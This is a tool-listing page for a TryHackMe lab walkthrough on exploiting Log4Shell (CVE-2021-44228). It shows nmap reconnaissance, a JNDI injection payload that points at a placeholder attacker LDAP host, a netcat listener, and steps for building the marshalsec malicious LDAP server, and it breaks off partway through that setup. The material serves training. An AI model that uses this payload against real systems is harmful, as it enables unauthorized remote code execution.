Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!
solar-exploiting-log4j — This repository provides a detailed walkthrough of the *Solar Exploiting Log4j room* on TryHackMe, focusing on exploiting the critical Log4Shell vulnerability (CVE-2021-44228). The project demonstrates how attackers can leverage insecure logging mechanisms in Java applications to achieve remote code execution. | Kitploit
This repository provides a detailed walkthrough of the *Solar Exploiting Log4j room* on TryHackMe, focusing on exploiting the critical Log4Shell vulnerability (CVE-2021-44228). The project demonstrates how attackers can leverage insecure logging mechanisms in Java applications to achieve remote code execution.
Share
🔥 Solar Exploiting Log4j - TryHackMe Walkthrough
📌 Room: Solar Exploiting Log4j
Platform: TryHackMe
Difficulty: Medium
Topic: Log4Shell (Log4j Vulnerability)
🧠 Objective
Exploit the Log4j vulnerability (CVE-2021-44228) to gain remote code execution and capture flags.
🛠️ Tools Used
Nmap
Burp Suite
cURL
Netcat
Python HTTP Server
🌐 Step 1: Reconnaissance
🔍 Scan Target
root@kitploit:~
nmap -sC -sV <TARGET_IP>
📌 Findings
Open ports: 80 (HTTP), others depending on room
Web application running Java-based backend
🌐 Step 2: Web Enumeration
Visit the web app in browser
Interact with inputs (login/search/header fields)
Capture request using Burp Suite
💥 Step 3: Identify Log4j Vulnerability
Log4j vulnerability allows JNDI injection:
root@kitploit:~
${jndi:ldap://<ATTACKER_IP>:1389/a}
If input is logged → vulnerability exists.
⚙️ Step 4: Setup Listener
Start Netcat
root@kitploit:~
nc -lvnp 4444
Start Malicious LDAP Server (Example)
root@kitploit:~
git clone https://github.com/mbechler/marshalsec
cd marshalsec
mvn clean package
lavanya2085/solar-exploiting-log4j
